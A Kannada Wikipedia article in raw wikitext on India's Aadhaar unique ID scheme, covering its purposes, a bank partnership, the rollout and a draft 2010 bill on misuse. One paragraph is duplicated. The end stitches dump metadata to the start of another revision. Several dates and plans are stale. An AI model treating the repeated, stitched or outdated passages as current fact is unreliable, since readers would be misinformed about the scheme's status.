ಜೀವಸಂಖ್ಯಾಶಾಸ್ತ್ರದ ದತ್ತಾಂಶವನ್ನು ಸೇರ್ಪಡೆ ಮಾಡುವ ಪ್ರಕ್ರಿಯೆಯನ್ನು ಹಂತಹಂತವಾಗಿ ಯೋಜಿಸಲಾಗುವುದು.<ref>[http://www.igovernment.in/site/Unique-ID-for-all-Indian-citizens-soon/ ]</ref> == ಉದ್ದೇಶ ಮತ್ತು ಬಳಕೆ == ಭಾರತೀಯ ನಾಗರಿಕರನ್ನು ಗುರುತಿಸುವುದಕ್ಕಾಗಿ ಸದರಿ IDಯನ್ನು ಮೂಲಭೂತವಾಗಿ ಸಿದ್ಧಗೊಳಿಸಲಾಗುತ್ತಿದ್ದು, ಇದರಿಂದ ಅಕ್ರಮ ವಲಸೆಗಾರರು ಮತ್ತು ಭಯೋತ್ಪಾದಕರನ್ನು ಗುರುತಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆಯಾದ್ದರಿಂದ ದೇಶಕ್ಕೆ ಹಾಗೂ ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಉತ್ತಮ ಭದ್ರತೆಯನ್ನು ಒದಗಿಸಲು ಸಾಧ್ಯವಾಗುತ್ತದೆ. ಆದಾಗ್ಯೂ, ಭಾರತೀಯ ನಾಗರಿಕರಿಗೆ ಗುರುತಿನ ಪ್ರತಿಷ್ಠಾಪನೆಯ ಸುಗಮತೆಯನ್ನು ಒದಗಿಸುವಲ್ಲಿನ ಅದರ ಸಾಮರ್ಥ್ಯದಲ್ಲಿ ಈ IDಯ ನಿಜವಾದ ಶಕ್ತಿಯು ಅಡಗಿದೆ; ವೈವಿಧ್ಯಮಯವಾದ ಸರ್ಕಾರಿ ಮತ್ತು ಖಾಸಗಿ-ವಲಯ ಸೇವೆಗಳಿಗೆ ಭಾರತೀಯ ನಾಗರಿಕರು ಸಂಪರ್ಕ ಹೊಂದಲು ಇದು ಅವಕಾಶ ಕಲ್ಪಿಸುತ್ತದೆ. ಹೊಸ ID ವ್ಯವಸ್ಥೆಯಿಂದ ನಾಗರಿಕರಿಗೆ ದೊರಕುವ ಸಂಭವನೀಯ ಪ್ರಯೋಜನಗಳಲ್ಲಿ ಈ ಕೆಳಗಿನವು ಸೇರಿವೆ: 1) ಅರ್ಹತೆ ಹೊಂದಿರುವ ಜನರು ಆಹಾರ, ಶಕ್ತಿ, ಶಿಕ್ಷಣ, ಇತ್ಯಾದಿ ಸವಲತ್ತುಗಳನ್ನು ಸ್ವೀಕರಿಸುವಂತಾಗಲು ಈ ವಲಯಗಳ ಮೇಲೆ ನೀಡುವ ಅನುದಾನಗಳು. 2) ಬ್ಯಾಂಕ್‌ ಖಾತೆಗಳ ತೆರೆಯುವಿಕೆ 3) ಹೊಸ ದೂರವಾಣಿ, ಮೊಬೈಲ್‌ ಅಥವಾ ಅಂತರ್ಜಾಲ ಸಂಪರ್ಕಗಳನ್ನು ಪಡೆಯುವಿಕೆ, 4) ಹೊಸ ದೀಪ ಅಥವಾ ಅನಿಲ ಸಂಪರ್ಕಗಳು 5) ರಹದಾರಿಯೊಂದನ್ನು (ಪಾಸ್‌ಪೋರ್ಟ್‌) ಪಡೆಯುವಿಕೆ 6) ಇದೇ ಕಾರ್ಡು ಒಂದು ಚಾಲನಾ ಪರವಾನಗಿಯಂತೆಯೂ ಕಾರ್ಯನಿರ್ವಹಿಸಬಹುದು ನೀವು ಮಾಡಿದ ಸಂಚಾರಿ ಉಲ್ಲಂಘನೆಯ ದಾಖಲೆಗಳನ್ನು ಶೇಖರಿಸಿಟ್ಟುಕೊಳ್ಳಬಹುದು 7) ಇದು ನಿಮ್ಮ ಮತದಾರರ ಕಾರ್ಡ್‌ ಆಗಿಯೂ ಪಾತ್ರವಹಿಸಬಹುದು 8) ಇದರಿಂದ ಕುಟುಂಬ ವಂಶಾನ್ವೇಷಣೆಯ ಜಾಡುಹಿಡಿಯಬಹುದು ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ ಕೇಂದ್ರಸರ್ಕಾರದ ವತಿಯಿಂದ ಸ್ಥಾಪಿಸಲ್ಪಟ್ಟಿರುವ ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರದೊಂದಿಗಿನ (ಯುನಿಕ್‌ ಐಡೆಂಟಿಫಿಕೇಶನ್‌ ಅಥಾರಿಟಿ ಆಫ್‌ ಇಂಡಿಯಾ-UIDAI) ಒಂದು MoUಗೆ (ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕಪತ್ರಕ್ಕೆ) ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಹಿಹಾಕಿದೆ. ಒಡಂಬಡಿಕೆಯ ಜ್ಞಾಪಕ ಪತ್ರಕ್ಕೆ (MoU) ನಿನ್ನೆ ಸಹಿಹಾಕುವುದರೊಂದಿಗೆ UIDAIನ ಪ್ರಯತ್ನಗಳಲ್ಲಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಓರ್ವ ಪಾಲುದಾರ ಎನಿಸಿಕೊಂಡಿದೆ ಎಂಬುದಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಸಭಾಪತಿ ಮತ್ತು ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾದ ಆಲ್ಬರ್ಟ್‌ ಟೌರೋ ಹೇಳಿಕೆಯೊಂದರಲ್ಲಿ ಇಂದು ತಿಳಿಸಿದರು. ಒಂದು ನೋಂದಣಿ ಸಂಸ್ಥೆಯಾಗಿ ಬ್ಯಾಂಕ್‌ UID ಯೋಜನೆಯಲ್ಲಿ ನಿವಾಸಿಗಳನ್ನು ದಾಖಲಿಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ ಮತ್ತು ಯೋಜನೆಯ ಹಲವಾರು ಹಂತಗಳ ಸಂದರ್ಭದಲ್ಲಿ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ನೆರವಾಗಬಹುದಾಗಿದೆ ಎಂಬುದಾಗಿಯೂ ಈ ಸಂದರ್ಭದಲ್ಲಿ ಟೌರೋ ತಿಳಿಸಿದರು. ಗುರುತಿಸಲ್ಪಟ್ಟ ಸ್ಥಳಗಳು ಮತ್ತು ಜಿಲ್ಲೆಗಳಲ್ಲಿ UID ಯೋಜನೆಯ ಅನುಷ್ಠಾನವಾಗುವದರ ಕುರಿತು ಮೇಲ್ವಿಚಾರಣೆ ನಡೆಸಲು ಪ್ರಧಾನ ತಂಡವೊಂದನ್ನು ಬ್ಯಾಂಕ್‌ ಸ್ಥಾಪಿಸಲಿದೆ. ಇದಕ್ಕಾಗಿ ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ನ ಇತರ ಘಟಕಗಳು, ಖಾತೆ ಹೊಂದಿರುವವರು, ತಂತ್ರಜ್ಞಾನ ಒದಗಿಸುವವರು, BC ಸೇವೆ ಒದಗಿಸುವವರು ಮತ್ತು ಇತರ ಸಹಯೋಗಿಗಳು ತಮ್ಮ ಸಹಕಾರ ಹಸ್ತವನ್ನು ನೀಡಲಿದ್ದಾರೆ. ಹೊಸ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ UID ದಾಖಲಾತಿಯೊಂದಿಗೆ ತನ್ನ ಹಣಕಾಸಿನ ಒಳಗೂಡಿಸುವಿಕೆ ಯೋಜನೆಯನ್ನು ಅಚ್ಚುಕಟ್ಟಾಗಿ ಜೋಡಿಸಲು ವಿಜಯಾ ಬ್ಯಾಂಕ್‌ ಯೋಜಿಸಿದೆ. ತನ್ನ ಚಾಲ್ತಿಯಲ್ಲಿರುವ ಗ್ರಾಹಕರಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಆಧಾರ್‌ ಸಂಖ್ಯೆಗಳ ನೀಡಿಕೆಯನ್ನೂ ಸಹ ಇದು ಸರಾಗಗೊಳಿಸಲಿದ್ದು, ಕಿರು ATMಗಳಂಥ ಹಲವಾರು ವಿತರಣಾ ವಾಹಿನಿಗಳೆಲ್ಲೆಡೆ 'ಆಧಾರ್‌' ಆಧರಿತ ಸೇವೆಗಳನ್ನು ಒದಗಿಸುವಲ್ಲಿ ಇದು ಬ್ಯಾಂಕ್‌ಗೆ ನೆರವಾಗಲಿದೆ. == ಅನುಷ್ಠಾನ == ಮೊದಲ ಹಂತದಲ್ಲಿ, ಆಂಧ್ರಪ್ರದೇಶ, ಗುಜರಾತ್‌‌, ಪಶ್ಚಿಮ ಬಂಗಾಳ, ಕೇರಳ, ಗೋವಾ, ಕರ್ನಾಟಕ, ತಮಿಳುನಾಡು, ಮಹಾರಾಷ್ಟ್ರ ಮತ್ತು ಒಡಿಶಾ ರಾಜ್ಯಗಳ ತೀರಪ್ರದೇಶದ ಹಳ್ಳಿಗಳಲ್ಲಿ ವಾಸಿಸುತ್ತಿರುವ ಜನರಿಗೆ UIDಯನ್ನು ನೀಡಲಾಗುತ್ತದೆ. ಕೇಂದ್ರಾಡಳಿತ ಪ್ರದೇಶಗಳಾದ ಪುದುಚೇರಿ, ಅಂಡಮಾನ್‌ & ನಿಕೋಬಾರ್‌ ದ್ವೀಪಗಳು, ದಾದರ್‌ ಮತ್ತು ನಗರ್‌ ಹವೇಲಿ ಮಾತ್ರವೇ ಅಲ್ಲದೇ ಲಕ್ಷದ್ವೀಪವನ್ನೂ ಸಹ ಮೊದಲ ಹಂತದ ಯೋಜನೆಯಲ್ಲಿ ಪರಿಗಣಿಸಲಾಗುವುದು. 2010ರ ಆರಂಭದ ವೇಳೆಗೆ ಮೊದಲ ಗುಂಪಿನ ಕಾರ್ಡುಗಳು ವಿತರಿಸಲ್ಪಡುತ್ತವೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ.<ref name="business-standard.com" /> 2011ರ ಫೆಬ್ರುವರಿ ವೇಳೆಗೆ ಆಧಾರ್‌ (UID) ಸಂಖ್ಯೆಯು ಅನುಷ್ಠಾನಗೊಳ್ಳಲಿದೆ ಎಂದು ನಿರೀಕ್ಷಿಸಲಾಗಿದೆ ಮತ್ತು ಭವಿಷ್ಯದಲ್ಲಿ PAN ಕಾರ್ಡುಗಳ ನೀಡುವಿಕೆಗೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDಯ ಬಳಕೆಯನ್ನು ಕಡ್ಡಾಯಗೊಳಿಸುವುದರ ಕುರಿತಾಗಿಯೂ ಹಣಕಾಸು ಖಾತೆ ಅಧಿಕಾರಿಗಳು ಭರವಸೆಯನ್ನು ಹೊಂದಿದ್ದು, ಇದು ನಕಲಿ PAN ಕಾರ್ಡುಗಳ ಹಬ್ಬುವಿಕೆಯನ್ನು ನಿಗ್ರಹಿಸುವಲ್ಲಿ ನೆರವಾಗಲಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತಿದೆ. == ಯೋಜನೆಯ ಆರಂಭ == UPA ಅಧ್ಯಕ್ಷೆ ಸೋನಿಯಾ ಗಾಂಧಿ, ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿ ಮನ್‌ಮೋಹನ್‌ ಸಿಂಗ್‌, ಅಶೋಕ್ ಚವ್ಹಾಣ್, K. ಶಂಕರ್‌ನಾರಾಯಣನ್‌ ಮತ್ತು UIDAI ಮುಖ್ಯಸ್ಥ ನಂದನ್‌ ನಿಲೇಕಣಿ ಇವರುಗಳಿಂದ ಆಧಾರ್‌ ಯೋಜನೆಯು ಇತ್ತೀಚೆಗಷ್ಟೇ ಆರಂಭಿಸಲ್ಪಟ್ಟಿತು; ಮಹಾರಾಷ್ಟ್ರದ ತೆಂಬ್ಲಿ ಎಂಬ ಹಳ್ಳಿಯಲ್ಲಿ 10 ಆದಿವಾಸಿಗಳಿಗೆ ಈ ವಿಶಿಷ್ಟ IDಯನ್ನು ಒದಗಿಸುವ ಮೂಲಕ ಇದಕ್ಕೆ ಚಾಲನೆ ದೊರೆಯಿತು ಎಂಬುದು ಗಮನಾರ್ಹ ಅಂಶ. ಭಾರತದಲ್ಲಿನ ಸದರಿ ವಿಶಿಷ್ಟ ID ಯೋಜನೆಗಳ ಪ್ರಯೋಜನಗಳು ಮತ್ತು ಸಕಾರಾತ್ಮಕ ಫಲಿತಾಂಶಗಳ ಕುರಿತಾಗಿ UPA ಅಧ್ಯಕ್ಷೆ ಮತ್ತು ಭಾರತದ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರು ಈ ಸಂದರ್ಭದಲ್ಲಿ ಮಾತನಾಡಿದರು. ನಾಲ್ಕು-ವರ್ಷ-ವಯಸ್ಸಿನ ಹಿತೇಶ್ ಸೋನವಾನೆ ಎಂಬಾತ ಪ್ರಧಾನ ಮಂತ್ರಿಯವರಿಂದ UID ಕಾರ್ಡನ್ನು ಸ್ವೀಕರಿಸಿದ ಅತಿಕಿರಿಯ ಸದಸ್ಯ ಎನಿಸಿಕೊಂಡರೆ, ರಂಜನಾ ಸೋನವಾನೆ ಎಂಬುವವರು ಆಧಾರ್‌ ಯೋಜನೆಯ ಮೂಲಕ UID / ವಿಶಿಷ್ಟ ID ಕಾರ್ಡನ್ನು ಪಡೆಯುವಲ್ಲಿನ ಮೊದಲ ಭಾರತೀಯಳು ಎನಿಸಿಕೊಂಡರು. ==ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦== '''ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ ಕಾಯಿದೆ- ೨೦೧೦''' ಸಂಸದ್ ನಲ್ಲಿ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. * ಸಂಖ್ಯೆಯ ದುರ್ಬಳಕೆ ತಡೆಗೆ ತೆಗೆದುಕೊಂಡ ವಿಶೇಷ ಕ್ರಮದ ನಿಟ್ಟಿನಲ್ಲಿ, ಒಂದು ಕರಡು ಮಸೂದೆ ಸಿದ್ಧವಾಗುತ್ತಿದೆ. ಪ್ರತಿಕ್ರಿಯೆಗಾಗಿ ಸಾರ್ವಜನಿಕರ ಅಭಿಪ್ರಾಯಕ್ಕಾಗಿ ಪ್ರಕಟಿಸಲಾಗಿದೆ. ಜತೆಗೆ ಪ್ರಾಧಿಕಾರವನ್ನು ಸಂವಿಧಾನಿಕ ಸಂಸ್ಥೆಯನ್ನಾಗಿ ಮಾನ್ಯ ಮಾಡುವುದು ಈ ಮಸೂದೆಯ ಉದ್ದೇಶವಾಗಿದೆ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಭಾರತೀಯ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ ಪ್ರಾಧಿಕಾರ (ಯುಐಡಿಎಐ) ನೀಡುವ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ದುರುಪಯೋಗ ಮಾಡಿಕೊಳ್ಳುವವರ ವಿರುದ್ಧ ಕಠಿಣ ಕ್ರಮಕ್ಕೆ ಒಳಪಡಿಸಲು ಸಿದ್ಧತೆ ನಡೆಸಿದೆ. ದುರುಪಯೋಗ ಸಾಬೀತಾದರೆ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಎಂದು ಪ್ರಾಧಿಕಾರದ ಹಿರಿಯ ಅಧಿಕಾರಿಯೊಬ್ಬರು ತಿಳಿಸಿದರು. * ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯ ದುರುಪಯೋಗ, ಸಾರ್ವಜನಿಕರ ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸದೇ ಇರುವ ಸಲುವಾಗಿ ಮಸೂದೆ ಮಾಹಿತಿ ಭದ್ರತೆ ಮತ್ತು ರಹಸ್ಯವನ್ನು ಕಾಯ್ದುಕೊಳ್ಳಲಾಗುವುದು * ಪ್ರಾಧಿಕಾರದಲ್ಲಿದ್ದುಕೊಂಡು ಅಲ್ಲಿರುವ ಮಾಹಿತಿಯನ್ನು ಬಹಿರಂಗಗೊಳಿಸಿದರೆ, ವೈಯಕ್ತಿಕ ವಿವರಗಳನ್ನು ಬಹಿರಂಗ ಪಡಿಸಿದರೆ, ಅಕ್ರಮವಾಗಿ ಕಾರ್ಯ ನಿರ್ವಸಿದರೆ ಅಂತಹ ಅಪರಾಧಗಳಿಗೆ ಕಠಿಣ ಕ್ರಮ, ದಂಡ ವಿಧಿಸಲು ಉದ್ದೇಶಿತ ಕರಡು ಮಸೂದೆಯಲ್ಲಿ ಅವಕಾಶ ಇದೆ. * ಒಂದೊಮ್ಮೆ ಪ್ರಾಧಿಕಾರದ ಕೆಲಸ ವಹಿಸಿಕೊಂಡ ಕಂಪನಿಯೇ ಈ ಕೃತ್ಯ ಎಸಗಿದರೆ ಒಂದು ಲಕ್ಷದ ವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. ಮಾಹಿತಿ ಬ್ಯಾಂಕ್‌ಗೆ ಅಕ್ರಮ ಪ್ರವೇಶ ಮಾಡಲು ಯತ್ನಿಸಿದರೆ ಅಂತಹವರಿಗೆ ಮೂರು ವರ್ಷದ ವರೆಗೆ ಜೈಲು ಶಿಕ್ಷೆ ಅಥವಾ ಒಂದು ಕೋಟಿ ರೂಪಾಯಿವರೆಗೆ ದಂಡ ವಿಧಿಸಲು ಅವಕಾಶ ಇದೆ. * ಆದರೆ ನಿಗದಿತ ನ್ಯಾಯಾಲಯಗಳು ಇಂತಹ ಮಾಹಿತಿ ಕೇಳಿದರೆ ಅದನ್ನು ನೀಡಬಹುದಾಗಿದೆ. ರಾಷ್ಟ್ರದ ಹಿತದೃಷ್ಟಿಯಿಂದ ಮಾತ್ರ ವೈಯಕ್ತಿಕ ವಿಷಯಗಳ ಮಾಹಿತಿಯನ್ನು ನೀಡಲಾಗುವುದು. ಅದೂ ಸಂಬಂಧಿಸಿದ ಇಲಾಖೆಯ ಸಚಿವಾಲಯದಿಂದ ಅನುಮತಿ ಪಡೆದರೆ ಮಾತ್ರವೇ ಮಾಹಿತಿ ನೀಡಲಾಗುವುದು. * ಕರಡು ಮಸೂದೆ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕರಿಂದ ಬರುವ ಅಭಿಪ್ರಾಯಗಳನ್ನು ಆಧರಿಸಿ ಸಂಸತ್‌ನ ಮುಂಗಾರು ಅಧಿವೇಶನದಲ್ಲಿ ಮಂಡಿಸಲಾಗುವುದು ಎಂದೂ ಅಧಿಕಾರಿಗಳು ತಿಳಿಸಿದ್ದಾರೆ.ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆಯನ್ನು ಮೊದಲಿಗೆ ೨೦೧೦ ರ ಆಗಸ್ಟ್ ಮತ್ತು ೨೦೧೧ ರ ಫೆಬ್ರುವರಿ ನಡುವೆ ಸಾರ್ವಜನಿಕರಿಗೆ ನೀಡಲಾಗುವುದು. ಮುಂದಿನ ನಾಲ್ಕು ವರ್ಷಗಳಲ್ಲಿ ಆರು ಕೋಟಿ ಜನರಿಗೆ ಈ ಸಂಖ್ಯೆಯನ್ನು ನೀಡುವ ಉದ್ದೇಶ ಪ್ರಾಧಿಕಾರಕ್ಕೆ ಇದೆ. == ಇವನ್ನೂ ಗಮನಿಸಿ == * ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಸಂಖ್ಯೆ * ಸಾಮಾಜಿಕ ಭದ್ರತೆ ಸಂಖ್ಯೆ * ಬಹು-ಉದ್ದೇಶದ ರಾಷ್ಟ್ರೀಯ ಗುರುತಿನ ಕಾರ್ಡ್ * ಭಾರತದ ವಿಶಿಷ್ಟ ಗುರುತಿನ ಪ್ರಾಧಿಕಾರ ==ವಿಶೇಷ ಮಾಹಿತಿ== *[https://www.prajavani.net/stories/national/india-on-the-way-towards-police-state-712960.html ಪೊಲೀಸ್‌ ರಾಜ್ಯದತ್ತ ಭಾರತದ ನಡೆ: 'ಆಧಾರ್'ನಿಂದ ಜನರ ಸ್ವಾತಂತ್ರ್ಯ ಮೊಟಕು;ಕುಮಾರ ಸಂಭವ ಶ್ರೀವಾಸ್ತವ Updated: 18 ಮಾರ್ಚ್ 2020,] == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == * http://uidai.gov.in/ * [http://uidnumber.org UIDಯನ್ನು ಪ್ರವರ್ತಿಸುವುದಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ UIDnumber.org] * [http://news.bbc.co.uk/2/hi/south_asia/8119070.stm ಇಂಡಿಯಾ ಟು ಲಾಂಚ್‌ 'ID ಕಾರ್ಡ್‌' ಸ್ಕೀಮ್‌] * [http://in.news.yahoo.com/48/20090626/804/tnl-govt-downloads-infosys-nilekani-he-s.html ಗೌರ್ನ್‌ಮೆಂಟ್‌ ಡೌನ್‌ಲೋಡ್ಸ್‌ ಇನ್ಫೋಸಿಸ್‌ ನಿಲೇಕಣಿ, ಹೀ ಸೇಸ್‌ ಫಸ್ಟ್‌ ಯುನಿಕ್‌ ID ಕಾರ್ಡ್‌ ವಿತಿನ್‌ 2 ಇಯರ್ಸ್‌] * [http://www.business-standard.com/india/news/what-nilekani-will-logto-inid-project/362160/ ವಾಟ್‌ ನಿಲೇಕಣಿ ವಿಲ್‌ ಲಾಗ್‌ ಆನ್‌ ಟು ಇನ್‌ ದಿ ID ಪ್ರಾಜೆಕ್ಟ್‌] * [http://prsindia.org/index.php?name=Sections&amp;action=bill_details&amp;id=6&amp;bill_id=1196&amp;category=46&amp;parent_category=1 ಕರಡು UIDAI ಮಸೂದೆ] * [http://www.uins.de www.uins.de] ==ಉಲ್ಲೇಖಗಳು== {{Reflist}} [[ವರ್ಗ:ಭಾರತ ಸರ್ಕಾರ]] ip6s11byvob62096jbdwfcu6b2fxd19 1116509 1116506 2022-08-23T15:38:29Z ChiK 40016 wikitext text/x-wiki {{Infobox project | logo = [[File:Aadhaar Logo.svg|250px]] | image = | caption = "Mera Aadhaar, Meri Pehchaan"<ref name=AboutUIDAI/> | launched = {{Start date and age|df=yes|2009|01|28}}<ref name=AboutUIDAI/> | country = [[India]] | budget = {{INRConvert|11366|c}} (up to the month of August 2019)<ref name="UIDAIFinance">{{cite web|url=https://uidai.gov.in/about-uidai/about-uidai/financials.html|title=UIDAI Finance and Budge Section|website=UIDAI|access-date=29 May 2018}}</ref> | key_people = *[[Nandan Nilekani]], Co-founder of [[Infosys]], first Chairman, UIDAI *[[J. Satyanarayana]], [[Indian Administrative Service|IAS]], Chairman, UIDAI *Saurabh Garg, [[Indian Administrative Service|IAS]], CEO, UIDAI | ministry = [[Ministry of Electronics and Information Technology]], [[India]] | website = {{URL|https://uidai.gov.in}} | current_status = {{increase}} 1.31 billion holders as of October 2021<ref name="Dashboard">{{cite web|title=Aadhaar Dashboard|url=https://uidai.gov.in/aadhaar_dashboard/index.php|publisher=UIDAI|access-date=7 September 2021}}</ref> }} '''ವಿಶಿಷ್ಟ ಗುರುತಿನ ಸಂಖ್ಯೆ''' ('''ಆಧಾರ್''') ಎಂಬುದು [[ಭಾರತ ಸರ್ಕಾರ]]ದ ವತಿಯಿಂದ ಇತ್ತೀಚೆಗಷ್ಟೇ ಅಂತಿಮಗೊಳಿಸಲ್ಪಟ್ಟ ಒಂದು ಉಪಕ್ರಮವಾಗಿದ್ದು, [[ಭಾರತ]]ದ ಎಲ್ಲಾ ವಯಸ್ಕ ನಾಗರಿಕರು ಮತ್ತು ನಿವಾಸಿಗಳಿಗೆ ಸಂಬಂಧಿಸಿದಂತಿರುವ ಒಂದು ಕೇಂದ್ರೀಕೃತ ಗುರುತಿಸುವಿಕೆಯ ವ್ಯವಸ್ಥೆಯನ್ನು ಸೃಷ್ಟಿಸುವ ಮತ್ತು ನಿರ್ವಹಿಸುವ ಉದ್ದೇಶ ಇದರ ಹಿಂದಿದೆ; ಇದನ್ನು ಒಂದು ವೈವಿಧ್ಯಮಯವಾದ ಗುರುತಿಸುವಿಕೆಯ ಉದ್ದೇಶಗಳಿಗಾಗಿ ಬಳಸಿಕೊಳ್ಳಬಹುದಾಗಿದೆ. [[ಇನ್ಫೋಸಿಸ್|ಇನ್ಫೋಸಿಸ್‌‌]]ನ ಹಿಂದಿನ ಸಹ-ಸಭಾಪತಿಯಾದ ನಂದನ್ ನಿಲೇಕಣಿಯವರನ್ನು ಭಾರತದ ವಿಶಿಷ್ಟ 